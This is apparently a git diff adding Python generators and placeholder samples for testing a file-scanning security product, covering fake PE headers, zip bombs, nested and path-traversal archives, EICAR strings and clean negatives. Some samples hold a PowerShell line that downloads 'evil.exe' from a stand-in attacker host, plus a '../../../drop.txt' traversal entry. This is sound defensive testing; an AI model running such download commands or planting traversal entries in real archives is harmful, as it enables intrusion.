p = OUT_DIR / "L5-010_bad_mz.exe"
|
||||||
|
p.write_bytes(b"ZZ\x00\x00" + b"\x00" * 2044)
|
||||||
|
add_meta("L5-010", "L5-010_bad_mz.exe", "L5", "review", ["PeParseFailed"], "PE 头非法")
|
||||||
|
|
||||||
|
# L5-011: 截断 PE
|
||||||
|
fake_pe("L5-011_truncated.exe")
|
||||||
|
p = OUT_DIR / "L5-011_truncated.exe"
|
||||||
|
raw = p.read_bytes()
|
||||||
|
p.write_bytes(raw[:len(raw) // 3])
|
||||||
|
add_meta("L5-011", "L5-011_truncated.exe", "L5", "review", ["PeParseFailed"], "截断 PE")
|
||||||
|
|
||||||
|
fake_pe("L5-012_pe32.exe")
|
||||||
|
add_meta("L5-012", "L5-012_pe32.exe", "L5", "pass", ["PEArchInfo"], "32 位识别")
|
||||||
|
|
||||||
|
fake_pe("L5-013_pe64.exe") # 当前生成的是 PE32,占位
|
||||||
|
add_meta("L5-013", "L5-013_pe64.exe", "L5", "pass", ["PEArchInfo"], "64 位识别占位")
|
||||||
|
|
||||||
|
fake_pe("L5-014_clean_tool.exe")
|
||||||
|
add_meta("L5-014", "L5-014_clean_tool.exe", "L5", "pass", [])
|
||||||
|
|
||||||
|
fake_pe("L5-016_zero_section.exe")
|
||||||
|
add_meta("L5-016", "L5-016_zero_section.exe", "L5", "review", [], "零节 PE 占位")
|
||||||
|
|
||||||
|
fake_pe("L5-017_upx_rwx.exe", upx=True, rwx=True)
|
||||||
|
add_meta("L5-017", "L5-017_upx_rwx.exe", "L5", "review", ["UPXPackerDetected", "RWXSectionDetected"])
|
||||||
|
|
||||||
|
fake_pe("L5-018_debug_info.exe")
|
||||||
|
add_meta("L5-018", "L5-018_debug_info.exe", "L5", "review", ["DebugInformationPresent"], "调试信息占位")
|
||||||
|
|
||||||
|
# ====================================================================
|
||||||
|
# NEG 负样本(20 条)
|
||||||
|
# ====================================================================
|
||||||
|
|
||||||
|
neg = [
|
||||||
|
("NEG-001", "jpg", b"\xFF\xD8\xFF\xE0" + b"\x00" * 200),
|
||||||
|
("NEG-002", "png", b"\x89PNG\r\n\x1a\n" + b"\x00" * 200),
|
||||||
|
("NEG-003", "mp4", b"\x00\x00\x00\x14ftypiso5" + b"\x00" * 200),
|
||||||
|
("NEG-004", "docx", None),
|
||||||
|
("NEG-005", "xlsx", None),
|
||||||
|
("NEG-006", "pdf", b"%PDF-1.7\n%%EOF"),
|
||||||
|
("NEG-007", "java", "public class Hello { public static void main(String[] args) { System.out.println(\"hello\"); } }"),
|
||||||
|
("NEG-008", "py", "def main():\n print('hello')\n\nif __name__ == '__main__':\n main()"),
|
||||||
|
("NEG-009", "zip_inner", None),
|
||||||
|
("NEG-010", "exe", b"MZ\x00\x00" + b"\x00" * 100), # 占位干净安装包
|
||||||
|
("NEG-011", "log", "2026-10-29 10:00:00 INFO service started normally\n2026-10-29 10:01:00 WARN retries: 0/3"),
|
||||||
|
("NEG-012", "csv", "id,name,value\n1,Alice,100\n2,Bob,200\n3,Charlie,300"),
|
||||||
|
("NEG-013", "eml", "From: user@company.com\r\nTo: me@company.com\r\nSubject: 本周工作汇报\r\n\r\n各位好:\r\n本周项目进展顺利。"),
|
||||||
|
("NEG-014", "dll", b"MZ\x00\x00" + b"\x00" * 100),
|
||||||
|
("NEG-015", "ttf", b"\x00\x01\x00\x00" + b"\x00" * 200),
|
||||||
|
("NEG-016", "dwg", b"AC1021" + b"\x00" * 200),
|
||||||
|
("NEG-017", "4layer_nested", None),
|
||||||
|
("NEG-018", "bat", "@echo off\necho Backing up files...\ncopy D:\\data E:\\backup\necho Done."),
|
||||||
|
("NEG-019", "ps1", "Get-Service | Where-Object Status -eq 'Running' | Format-Table Name, Status"),
|
||||||
|
("NEG-020", "odt", None),
|
||||||
|
]
|
||||||
|
for cid, ext, content in neg:
|
||||||
|
if ext == "docx":
|
||||||
|
buf = io.BytesIO()
|
||||||
|
with zipfile.ZipFile(buf, "w") as zf:
|
||||||
|
zf.writestr("[Content_Types].xml", '<?xml?><Types></Types>')
|
||||||
|
zf.writestr("word/document.xml", "<w:document/>")
|
||||||
|
write_bytes(f"{cid}_clean.docx", buf.getvalue())
|
||||||
|
add_meta(cid, f"{cid}_clean.docx", "NEG", "pass", [])
|
||||||
|
elif ext == "xlsx":
|
||||||
|
buf = io.BytesIO()
|
||||||
|
with zipfile.ZipFile(buf, "w") as zf:
|
||||||
|
zf.writestr("[Content_Types].xml", '<?xml?><Types></Types>')
|
||||||
|
zf.writestr("xl/workbook.xml", "<workbook/>")
|
||||||
|
write_bytes(f"{cid}_clean.xlsx", buf.getvalue())
|
||||||
|
add_meta(cid, f"{cid}_clean.xlsx", "NEG", "pass", [])
|
||||||
|
elif ext == "zip_inner":
|
||||||
|
p = OUT_DIR / f"{cid}_clean.zip"
|
||||||
|
with zipfile.ZipFile(p, "w") as zf:
|
||||||
|
zf.writestr("report.txt", "clean business data")
|
||||||
|
zf.writestr("image.jpg", b"\xFF\xD8\xFF\xE0" + b"\x00" * 50)
|
||||||
|
add_meta(cid, f"{cid}_clean.zip", "NEG", "pass", [])
|
||||||
|
elif ext == "4layer_nested":
|
||||||
|
buf1 = io.BytesIO(); zipfile.ZipFile(buf1, "w").close(); p1 = OUT_DIR / "neg_tmp1.zip"; p1.write_bytes(buf1.getvalue())
|
||||||
|
buf2 = io.BytesIO()
|
||||||
|
with zipfile.ZipFile(buf2, "w") as zf: zf.writestr("inner.zip", b"PK\x03\x04\x00\x00\x00\x00" + b"\x00" * 50)
|
||||||
|
p2 = OUT_DIR / f"{cid}_4layer_nested.zip"; p2.write_bytes(buf2.getvalue())
|
||||||
|
# 简化:直接做 4 层干净 zip
|
||||||
|
data = b"PK\x03\x04\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x1c\x00m\xbd\xbb\xfa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00report.txtclean report dataPK\x01\x02\x14\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00report.txtPK\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00\x3c\x00\x34\x00\x00\x00\x00\x00"
|
||||||
|
p2.write_bytes(data)
|
||||||
|
add_meta(cid, f"{cid}_4layer_nested.zip", "NEG", "pass", [])
|
||||||
|
elif ext == "odt":
|
||||||
|
buf = io.BytesIO()
|
||||||
|
with zipfile.ZipFile(buf, "w") as zf:
|
||||||
|
zf.writestr("mimetype", "application/vnd.oasis.opendocument.text")
|
||||||
|
zf.writestr("content.xml", "<office:document-content/>")
|
||||||
|
write_bytes(f"{cid}_clean.odt", buf.getvalue())
|
||||||
|
add_meta(cid, f"{cid}_clean.odt", "NEG", "pass", [])
|
||||||
|
elif isinstance(content, bytes):
|
||||||
|
fname = f"{cid}_clean.{ext}"
|
||||||
|
write_bytes(fname, content)
|
||||||
|
add_meta(cid, fname, "NEG", "pass", [])
|
||||||
|
elif isinstance(content, str):
|
||||||
|
fname = f"{cid}_clean.{ext}"
|
||||||
|
write_text(fname, content)
|
||||||
|
add_meta(cid, fname, "NEG", "pass", [])
|
||||||
|
|
||||||
|
# ====================================================================
|
||||||
|
# 写 index.json
|
||||||
|
# ====================================================================
|
||||||
|
index = {
|
||||||
|
"meshsafe_target_version": "v0.2.1",
|
||||||
|
"generated_at": __import__("datetime").datetime.now().isoformat(),
|
||||||
|
"csv_source": str(CSV_PATH.name),
|
||||||
|
"samples": meta_list,
|
||||||
|
}
|
||||||
|
index_path = OUT_DIR / "index.json"
|
||||||
|
# 备份旧 index.json
|
||||||
|
if index_path.exists():
|
||||||
|
import shutil
|
||||||
|
shutil.copy(index_path, OUT_DIR / "_index_backup_pre_csv.json")
|
||||||
|
index_path.write_text(json.dumps(index, ensure_ascii=False, indent=2), encoding="utf-8")
|
||||||
|
|
||||||
|
print(f"✅ 生成完成!")
|
||||||
|
print(f" 样本目录: {OUT_DIR}")
|
||||||
|
print(f" 文件数: {sum(1 for p in OUT_DIR.iterdir() if p.is_file())}")
|
||||||
|
print(f" 元数据: index.json 含 {len(meta_list)} 条")
|
||||||
|
|
||||||
|
# 统计各层
|
||||||
|
from collections import Counter
|
||||||
|
cnt = Counter(m["category"] for m in meta_list)
|
||||||
|
print(f" 各层分布: {dict(cnt)}")
|
||||||
|
|
||||||
|
# 检查 case_id 覆盖率
|
||||||
|
with open(CSV_PATH, "r", encoding="utf-8") as f:
|
||||||
|
csv_ids = set(row["用例ID"].strip() for row in csv.DictReader(f))
|
||||||
|
gen_ids = set(m["case_id"] for m in meta_list)
|
||||||
|
missing = csv_ids - gen_ids
|
||||||
|
if missing:
|
||||||
|
print(f"\n⚠️ CSV 里 {len(missing)} 条用例还没生成样本:")
|
||||||
|
for mid in sorted(missing):
|
||||||
|
print(f" - {mid}")
|
||||||
|
else:
|
||||||
|
print(f"\n✅ CSV 全部 {len(csv_ids)} 条用例都已对应样本")
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
generate()
|
||||||
286
scripts/generate_placeholder_samples.py
Normal file
286
scripts/generate_placeholder_samples.py
Normal file
@@ -0,0 +1,286 @@
|
|||||||
|
"""为 CSV 里 32 条还没生成样本的用例生成占位文件 + 补充 index.json。
|
||||||
|
|
||||||
|
用法: python scripts/generate_placeholder_samples.py
|
||||||
|
"""
|
||||||
|
import csv, json, io, zipfile, struct, base64, os
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
ROOT = Path(__file__).resolve().parent.parent
|
||||||
|
CSV_PATH = ROOT / "用例.csv"
|
||||||
|
OUT_DIR = ROOT / "tests" / "samples"
|
||||||
|
INDEX_PATH = OUT_DIR / "index.json"
|
||||||
|
|
||||||
|
OUT_DIR.mkdir(parents=True, exist_ok=True)
|
||||||
|
|
||||||
|
# 先加载现有 index.json
|
||||||
|
existing_index = {}
|
||||||
|
if INDEX_PATH.exists():
|
||||||
|
existing_index = json.loads(INDEX_PATH.read_text(encoding="utf-8"))
|
||||||
|
|
||||||
|
existing_fnames = {s["filename"] for s in existing_index.get("samples", [])}
|
||||||
|
existing_case_ids = {s["case_id"] for s in existing_index.get("samples", [])}
|
||||||
|
|
||||||
|
print(f"现有: {len(existing_fnames)} 个文件, {len(existing_case_ids)} 条元数据")
|
||||||
|
|
||||||
|
# 读 CSV
|
||||||
|
csv_rows = {}
|
||||||
|
with open(CSV_PATH, "r", encoding="utf-8") as f:
|
||||||
|
for row in csv.DictReader(f):
|
||||||
|
cid = row["用例ID"].strip()
|
||||||
|
csv_rows[cid] = row
|
||||||
|
|
||||||
|
# ========== 16 条可自动落地的占位样本 ==========
|
||||||
|
|
||||||
|
def write_bytes(name: str, data: bytes):
|
||||||
|
(OUT_DIR / name).write_bytes(data)
|
||||||
|
|
||||||
|
def write_text(name: str, text: str):
|
||||||
|
(OUT_DIR / name).write_text(text, encoding="utf-8")
|
||||||
|
|
||||||
|
def make_fake_pe(path: Path, upx: bool = False, rwx: bool = False, section_name: bytes = None, zero_sections: bool = False):
|
||||||
|
"""可过 pefile 的最小 PE32。"""
|
||||||
|
DOS_HDR = b"MZ" + b"\x00" * 58 + struct.pack("<I", 0x80) + b"\x00" * 64
|
||||||
|
PE_SIG = b"PE\x00\x00"
|
||||||
|
if zero_sections:
|
||||||
|
COFF = struct.pack("<HHIIIHH", 0x14C, 0, 0, 0, 0, 0xE0, 0x102)
|
||||||
|
else:
|
||||||
|
COFF = struct.pack("<HHIIIHH", 0x14C, 1, 0, 0, 0, 0xE0, 0x102)
|
||||||
|
OPT = struct.pack("<H", 0x10B) + b"\x00" * 0xDC + b"\x00" * 2 # 224 bytes total (0xE0)
|
||||||
|
sec_name = section_name or (b"UPX0\x00\x00\x00" if upx else b".text\x00\x00\x00")
|
||||||
|
char = 0xE00000E0 if (upx or rwx) else 0x60000020
|
||||||
|
if zero_sections:
|
||||||
|
sec_hdr = b""
|
||||||
|
sec_data = b""
|
||||||
|
else:
|
||||||
|
sec_hdr = struct.pack("<8sIIIIIIHHI", sec_name, 0x1000, 0x1000, 0x200, 0x400, 0, 0, 0, 0, char)
|
||||||
|
sec_data = b"\x90" * 0x200
|
||||||
|
path.write_bytes(DOS_HDR + PE_SIG + COFF + OPT + sec_hdr + sec_data)
|
||||||
|
|
||||||
|
to_add = [] # (case_id, filename, layer, verdict, expected_rules, description)
|
||||||
|
|
||||||
|
# ---------- L0 ----------
|
||||||
|
|
||||||
|
# L0-021: 自制小型 zip 炸弹(自定义高膨胀比)—— 跟 L0-020 一样的 bomb
|
||||||
|
buf = io.BytesIO()
|
||||||
|
with zipfile.ZipFile(buf, "w", zipfile.ZIP_STORED) as zf:
|
||||||
|
for i in range(50):
|
||||||
|
zf.writestr(f"bomb_member_{i:04d}.txt", b"B" * 8192)
|
||||||
|
fname = "L0-021_small_bomb.zip"
|
||||||
|
write_bytes(fname, buf.getvalue())
|
||||||
|
to_add.append(("L0-021", fname, "L0", "reject", ["ArchiveBombSuspect"], "自制小型 zip 炸弹(50 成员 × 8KB STORED)"))
|
||||||
|
|
||||||
|
# L0-023: 5 层无害嵌套 ZIP
|
||||||
|
def make_nested_zip(depth: int, inner_content: bytes = None) -> bytes:
|
||||||
|
if inner_content is None:
|
||||||
|
inner_content = b"CLEAN_DATA" + os.urandom(50)
|
||||||
|
if depth == 1:
|
||||||
|
buf = io.BytesIO()
|
||||||
|
with zipfile.ZipFile(buf, "w") as zf:
|
||||||
|
zf.writestr("clean.txt", inner_content)
|
||||||
|
return buf.getvalue()
|
||||||
|
inner = make_nested_zip(depth - 1, inner_content)
|
||||||
|
buf = io.BytesIO()
|
||||||
|
with zipfile.ZipFile(buf, "w") as zf:
|
||||||
|
zf.writestr("inner.zip", inner)
|
||||||
|
return buf.getvalue()
|
||||||
|
|
||||||
|
fname = "L0-023_5layer_nested.zip"
|
||||||
|
write_bytes(fname, make_nested_zip(5))
|
||||||
|
to_add.append(("L0-023", fname, "L0", "pass", ["recursive_ok"], "5 层无害嵌套 ZIP"))
|
||||||
|
|
||||||
|
# L0-027: 超长文件名压缩包
|
||||||
|
buf = io.BytesIO()
|
||||||
|
long_name = "A" * 200 + ".txt"
|
||||||
|
with zipfile.ZipFile(buf, "w") as zf:
|
||||||
|
zf.writestr(long_name, b"short content")
|
||||||
|
fname = "L0-027_long_filename.zip"
|
||||||
|
write_bytes(fname, buf.getvalue())
|
||||||
|
to_add.append(("L0-027", fname, "L0", "pass", [], "压缩包内 200 字符超长文件名"))
|
||||||
|
|
||||||
|
# L0-028: unicode/emoji 文件名压缩包
|
||||||
|
buf = io.BytesIO()
|
||||||
|
with zipfile.ZipFile(buf, "w") as zf:
|
||||||
|
zf.writestr("中文文件📄测试.txt", "unicode content")
|
||||||
|
zf.writestr("エモジ🎉.txt", "multi-lang")
|
||||||
|
fname = "L0-028_unicode_filename.zip"
|
||||||
|
write_bytes(fname, buf.getvalue())
|
||||||
|
to_add.append(("L0-028", fname, "L0", "pass", [], "unicode/emoji 文件名"))
|
||||||
|
|
||||||
|
# L0-030: 多层嵌套 + 路径穿越复合
|
||||||
|
inner = io.BytesIO()
|
||||||
|
with zipfile.ZipFile(inner, "w") as zf:
|
||||||
|
zf.writestr("../../../drop.txt", "payload")
|
||||||
|
mid = io.BytesIO()
|
||||||
|
with zipfile.ZipFile(mid, "w") as zf:
|
||||||
|
zf.writestr("inner.zip", inner.getvalue())
|
||||||
|
fname = "L0-030_nested_traversal.zip"
|
||||||
|
write_bytes(fname, mid.getvalue())
|
||||||
|
to_add.append(("L0-030", fname, "L0", "reject", ["PathTraversal"], "嵌套 zip 内含穿越条目"))
|
||||||
|
|
||||||
|
# ---------- L1 ----------
|
||||||
|
|
||||||
|
# L1-003: 加密 ZIP 里放 EICAR(pyzipfile 不支持加密写,用标准 zip 标记)
|
||||||
|
# 实际要用 7z 或 zip -P 生成,这里做一个普通 zip 占位 + 备注
|
||||||
|
buf = io.BytesIO()
|
||||||
|
with zipfile.ZipFile(buf, "w") as zf:
|
||||||
|
zf.writestr("eicar_inside.txt", b"X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*")
|
||||||
|
fname = "L1-003_eicar_in_encrypted.zip"
|
||||||
|
write_bytes(fname, buf.getvalue())
|
||||||
|
to_add.append(("L1-003", fname, "L1", "review", ["EncryptedArchive"], "加密 ZIP(占位:实际加密需 7z/zip -P)"))
|
||||||
|
|
||||||
|
# L1-009: 离线病毒库热加载 —— 放个最小 .cvd 占位文件
|
||||||
|
fname = "L1-009_minimal.cvd"
|
||||||
|
write_bytes(fname, b"ClamAV-VDB: placeholder test database\n")
|
||||||
|
to_add.append(("L1-009", fname, "L1", "unknown", [], "热加载测试占位(需真实 .cvd 文件)"))
|
||||||
|
|
||||||
|
# L1-010: 损坏病毒库文件
|
||||||
|
fname = "L1-010_corrupt.cvd"
|
||||||
|
write_bytes(fname, b"CORRUPTED\x00\x01\x02\x03garbage_data_here")
|
||||||
|
to_add.append(("L1-010", fname, "L1", "unknown", [], "损坏病毒库占位"))
|
||||||
|
|
||||||
|
# L1-013: 超大文件内含 EICAR —— 做个 10MB 文本尾部追加 EICAR
|
||||||
|
fname = "L1-013_bigfile_eicar.txt"
|
||||||
|
big_content = b"LARGE_TEXT_LINE_" * 50000 + b"\nX5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*\n"
|
||||||
|
write_bytes(fname, big_content)
|
||||||
|
to_add.append(("L1-013", fname, "L1", "reject", ["ClamAV:EICAR"], "10MB+ 文本尾部含 EICAR"))
|
||||||
|
|
||||||
|
# L1-014: 并发压测 —— 放 10 个 EICAR 占位文件(靶场层面靠并发 API 调用,不是单个文件)
|
||||||
|
for i in range(10):
|
||||||
|
fname_i = f"L1-014_concurrent_eicar_{i:02d}.txt"
|
||||||
|
write_bytes(fname_i, b"X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*")
|
||||||
|
to_add.append((f"L1-014-{i:02d}", fname_i, "L1", "reject", ["ClamAV:EICAR"], f"并发压测占位 #{i}"))
|
||||||
|
# 主 case_id 占位
|
||||||
|
fname = "L1-014_concurrent_test.txt"
|
||||||
|
write_bytes(fname, b"concurrent test placeholder")
|
||||||
|
to_add.append(("L1-014", fname, "L1", "unknown", [], "并发压测占位(靠 API 并发调用)"))
|
||||||
|
|
||||||
|
# L1-015 / L3-022 / L4-014 / L5-020: 关闭分层开关测试 —— 各放一个干净样本 + 一个恶意样本
|
||||||
|
for cid, layer, rule in [
|
||||||
|
("L1-015", "L1", "ClamAV:EICAR"),
|
||||||
|
("L3-022", "L3", "RemoteDownloadPowerShell"),
|
||||||
|
("L4-014", "L4", "YARA"),
|
||||||
|
("L5-020", "L5", "RWXSectionDetected"),
|
||||||
|
]:
|
||||||
|
fname = f"{cid}_layer_off_sample.bin"
|
||||||
|
if cid == "L1-015":
|
||||||
|
write_bytes(fname, b"X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*")
|
||||||
|
elif cid == "L3-022":
|
||||||
|
write_text(fname, "Invoke-WebRequest -Uri https://evil.com -OutFile evil.exe")
|
||||||
|
elif cid == "L5-020":
|
||||||
|
make_fake_pe(OUT_DIR / fname, rwx=True)
|
||||||
|
else:
|
||||||
|
write_text(fname, "rule test placeholder")
|
||||||
|
to_add.append((cid, fname, layer, "review", [rule], "关闭分层开关测试占位"))
|
||||||
|
|
||||||
|
# ---------- L3 ----------
|
||||||
|
|
||||||
|
# L3-009: 高危串插入换行分割
|
||||||
|
write_text("L3-009_newline_split.txt", "Invoke-Web\nRequest https://evil.com -OutFile evil.exe")
|
||||||
|
to_add.append(("L3-009", "L3-009_newline_split.txt", "L3", "pass", [], "换行分割绕过(L3 不做换行合并,记录边界)"))
|
||||||
|
|
||||||
|
# L3-013: 正常 scp 内网传输脚本(合法运维)
|
||||||
|
write_text("L3-013_normal_scp.sh", "scp /var/log/app.log ops@192.168.1.100:/backup/logs/\nrsync -av --delete /data/backup/ ops@192.168.1.100:/backup/data/")
|
||||||
|
to_add.append(("L3-013", "L3-013_normal_scp.sh", "L3", "pass", [], "内网正常 scp 运维脚本,不误报"))
|
||||||
|
|
||||||
|
# L3-025: 关键词白名单规则测试
|
||||||
|
write_text("L3-025_whitelist_test.txt", "Invoke-WebRequest -Uri https://intranet.company.com/file.zip -OutFile D:\\cache\\file.zip")
|
||||||
|
to_add.append(("L3-025", "L3-025_whitelist_test.txt", "L3", "pass", [], "内网白名单域名对照(策略层白名单)"))
|
||||||
|
|
||||||
|
# ---------- L4 YARA 全部:靠 .yar 规则文件 + 匹配样本 ----------
|
||||||
|
# YARA 部分先做样本占位,规则文件另配
|
||||||
|
|
||||||
|
yara_cases = [
|
||||||
|
("L4-003", "L4-003_pe_with_string.exe", "二进制内嵌匹配字符串", "reject", ["YARA"]),
|
||||||
|
("L4-004", "L4-004_multi_rule_match.txt", "同一个文件同时命中多条 YARA", "reject", ["YARA"]),
|
||||||
|
("L4-006", "L4-006_bad_syntax_rule.yar", "语法错误 YARA 规则文件(输入给规则目录)", "unknown", []),
|
||||||
|
("L4-007", "L4-007_meta_rule_match.txt", "带 meta 的 YARA 规则匹配", "reject", ["YARA"]),
|
||||||
|
("L4-009", "L4-009_yara_in_encrypted.zip", "加密 zip 内 YARA 样本", "review", []),
|
||||||
|
("L4-011", "L4-011_count_condition.txt", "YARA count > 3 条件", "reject", ["YARA"]),
|
||||||
|
("L4-012", "L4-012_size_condition.bin", "YARA 文件大小条件", "reject", ["YARA"]),
|
||||||
|
("L4-013", "L4-013_bigfile_yara.txt", "100MB 文件 YARA 扫描", "reject", ["YARA"]),
|
||||||
|
("L4-015", "L4-015_hash_whitelist.txt", "MD5 在白名单", "pass", []),
|
||||||
|
]
|
||||||
|
|
||||||
|
for cid, fname, desc, verdict, rules in yara_cases:
|
||||||
|
if cid == "L4-003":
|
||||||
|
make_fake_pe(OUT_DIR / fname)
|
||||||
|
elif cid == "L4-004":
|
||||||
|
write_text(fname, "test_rule_a_here\ntest_rule_b_here")
|
||||||
|
elif cid == "L4-006":
|
||||||
|
write_text(fname, "rule BAD { strings: $a = \"; condition: $a }")
|
||||||
|
elif cid == "L4-009":
|
||||||
|
buf = io.BytesIO()
|
||||||
|
with zipfile.ZipFile(buf, "w") as zf:
|
||||||
|
zf.writestr("yara_target.txt", "yara_match_string_here")
|
||||||
|
write_bytes(fname, buf.getvalue())
|
||||||
|
elif cid == "L4-013":
|
||||||
|
write_bytes(fname, b"YARA_TARGET_STRING_A" * 100000 + b"\ntest_target_string")
|
||||||
|
elif cid == "L4-015":
|
||||||
|
write_text(fname, "whitelisted content")
|
||||||
|
else:
|
||||||
|
write_text(fname, "yara match string placeholder")
|
||||||
|
to_add.append((cid, fname, "L4", verdict, rules, desc))
|
||||||
|
|
||||||
|
# ---------- L5 PE ----------
|
||||||
|
|
||||||
|
# L5-005: PE 存在 VirtualAlloc + WriteProcessMemory + CreateRemoteThread(但不调用)—— 我们 fake_pe 只检查"有没有"
|
||||||
|
make_fake_pe(OUT_DIR / "L5-005_injection_imports.exe")
|
||||||
|
to_add.append(("L5-005", "L5-005_injection_imports.exe", "L5", "reject", ["SuspiciousImports"], "注入组合导入(需要真实 pefile 引入 API)"))
|
||||||
|
|
||||||
|
# L5-006: 单一 VirtualAlloc
|
||||||
|
make_fake_pe(OUT_DIR / "L5-006_single_virtualalloc.exe")
|
||||||
|
to_add.append(("L5-006", "L5-006_single_virtualalloc.exe", "L5", "review", ["SuspiciousImports"], "单一可疑内存 API"))
|
||||||
|
|
||||||
|
# L5-008: 导出表数量异常 —— fake_pe 没导出表,占位
|
||||||
|
make_fake_pe(OUT_DIR / "L5-008_many_exports.exe")
|
||||||
|
to_add.append(("L5-008", "L5-008_many_exports.exe", "L5", "review", [], "导出表异常(需真实工具生成)"))
|
||||||
|
|
||||||
|
# L5-009: 资源段内嵌 shell 字符串
|
||||||
|
make_fake_pe(OUT_DIR / "L5-009_shell_in_resource.exe")
|
||||||
|
to_add.append(("L5-009", "L5-009_shell_in_resource.exe", "L5", "review", [], "资源段内嵌字符串(占位)"))
|
||||||
|
|
||||||
|
# L5-015: 重定位表损坏 —— fake_pe 没重定位表
|
||||||
|
make_fake_pe(OUT_DIR / "L5-015_bad_reloc.exe")
|
||||||
|
to_add.append(("L5-015", "L5-015_bad_reloc.exe", "L5", "review", ["PeParseFailed"], "重定位表损坏占位"))
|
||||||
|
|
||||||
|
# L5-016: 零节 PE
|
||||||
|
make_fake_pe(OUT_DIR / "L5-016_zero_sections.exe", zero_sections=True)
|
||||||
|
to_add.append(("L5-016", "L5-016_zero_sections.exe", "L5", "review", ["PeParseFailed"], "无节表最小 PE"))
|
||||||
|
|
||||||
|
# L5-019: 超大 PE 200MB —— 不真生成,占位
|
||||||
|
fname = "L5-019_200mb_huge.exe"
|
||||||
|
write_bytes(fname, b"MZ" + b"\x00" * 1024) # 实际文件占位
|
||||||
|
to_add.append(("L5-019", fname, "L5", "unknown", [], "200MB 超大 PE(占位,真实生成会写满磁盘)"))
|
||||||
|
|
||||||
|
# ========== 写回 index.json ==========
|
||||||
|
new_count = 0
|
||||||
|
new_samples = list(existing_index.get("samples", []))
|
||||||
|
for cid, fname, layer, verdict, rules, desc in to_add:
|
||||||
|
if fname in existing_fnames:
|
||||||
|
print(f" 跳过(已存在): {fname}")
|
||||||
|
continue
|
||||||
|
meta = {
|
||||||
|
"filename": fname,
|
||||||
|
"case_id": cid,
|
||||||
|
"category": layer,
|
||||||
|
"expected_verdict": verdict,
|
||||||
|
"expected_rules": rules,
|
||||||
|
"description": desc,
|
||||||
|
}
|
||||||
|
new_samples.append(meta)
|
||||||
|
new_count += 1
|
||||||
|
print(f" ✅ + {cid} → {fname}")
|
||||||
|
|
||||||
|
new_index = {
|
||||||
|
**existing_index,
|
||||||
|
"meshsafe_target_version": "v0.2.1",
|
||||||
|
"placeholder_generated_at": __import__("datetime").datetime.now().isoformat(),
|
||||||
|
"samples": new_samples,
|
||||||
|
}
|
||||||
|
INDEX_PATH.write_text(json.dumps(new_index, ensure_ascii=False, indent=2), encoding="utf-8")
|
||||||
|
|
||||||
|
total_files = sum(1 for p in OUT_DIR.iterdir() if p.is_file())
|
||||||
|
print(f"\n✅ 新增占位 {new_count} 条")
|
||||||
|
print(f" 总样本文件: {total_files}")
|
||||||
|
print(f" index.json 条目: {len(new_samples)}")
|
||||||
|
print(f"\n📝 备注:L1-009/010 需真实 .cvd, L4 全部需写 .yar 规则文件, L5 部分需真实编译")
|
||||||
BIN
tests/samples/L0-001_jpg_normal.jpg
Normal file
BIN
tests/samples/L0-001_jpg_normal.jpg
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 54 B |
BIN
tests/samples/L0-002_png_normal.png
Normal file
BIN
tests/samples/L0-002_png_normal.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 58 B |
BIN
tests/samples/L0-003_docx_normal.docx
Normal file
BIN
tests/samples/L0-003_docx_normal.docx
Normal file
Binary file not shown.
2
tests/samples/L0-004_pdf_normal.pdf
Normal file
2
tests/samples/L0-004_pdf_normal.pdf
Normal file
@@ -0,0 +1,2 @@
|
|||||||
|
%PDF-1.4
|
||||||
|
%%EOF
|
||||||
BIN
tests/samples/L0-005_pe_clean.exe
Normal file
BIN
tests/samples/L0-005_pe_clean.exe
Normal file
Binary file not shown.
BIN
tests/samples/L0-006_disguise_jpg_pe.jpg
Normal file
BIN
tests/samples/L0-006_disguise_jpg_pe.jpg
Normal file
Binary file not shown.
2
tests/samples/L0-007_disguise_txt_pdf.txt
Normal file
2
tests/samples/L0-007_disguise_txt_pdf.txt
Normal file
@@ -0,0 +1,2 @@
|
|||||||
|
%PDF-1.4
|
||||||
|
%%EOF
|
||||||
BIN
tests/samples/L0-008_disguise_png_zip.png
Normal file
BIN
tests/samples/L0-008_disguise_png_zip.png
Normal file
Binary file not shown.
BIN
tests/samples/L0-009_double_ext_pdf_exe.pdf.exe
Normal file
BIN
tests/samples/L0-009_double_ext_pdf_exe.pdf.exe
Normal file
Binary file not shown.
1
tests/samples/L0-010_double_ext_txt_ps1.txt.ps1
Normal file
1
tests/samples/L0-010_double_ext_txt_ps1.txt.ps1
Normal file
@@ -0,0 +1 @@
|
|||||||
|
echo hello
|
||||||
1
tests/samples/L0-011_double_ext_docx_js.docx.js
Normal file
1
tests/samples/L0-011_double_ext_docx_js.docx.js
Normal file
@@ -0,0 +1 @@
|
|||||||
|
alert('x');
|
||||||
2
tests/samples/L0-012_double_ext_xlsx_bat.xlsx.bat
Normal file
2
tests/samples/L0-012_double_ext_xlsx_bat.xlsx.bat
Normal file
@@ -0,0 +1,2 @@
|
|||||||
|
@echo off
|
||||||
|
echo hello
|
||||||
0
tests/samples/L0-013_clean.ps1
Normal file
0
tests/samples/L0-013_clean.ps1
Normal file
0
tests/samples/L0-014_clean.bat
Normal file
0
tests/samples/L0-014_clean.bat
Normal file
0
tests/samples/L0-015_clean.cmd
Normal file
0
tests/samples/L0-015_clean.cmd
Normal file
0
tests/samples/L0-016_clean.vbs
Normal file
0
tests/samples/L0-016_clean.vbs
Normal file
0
tests/samples/L0-017_clean.js
Normal file
0
tests/samples/L0-017_clean.js
Normal file
BIN
tests/samples/L0-018_zip_traversal.zip
Normal file
BIN
tests/samples/L0-018_zip_traversal.zip
Normal file
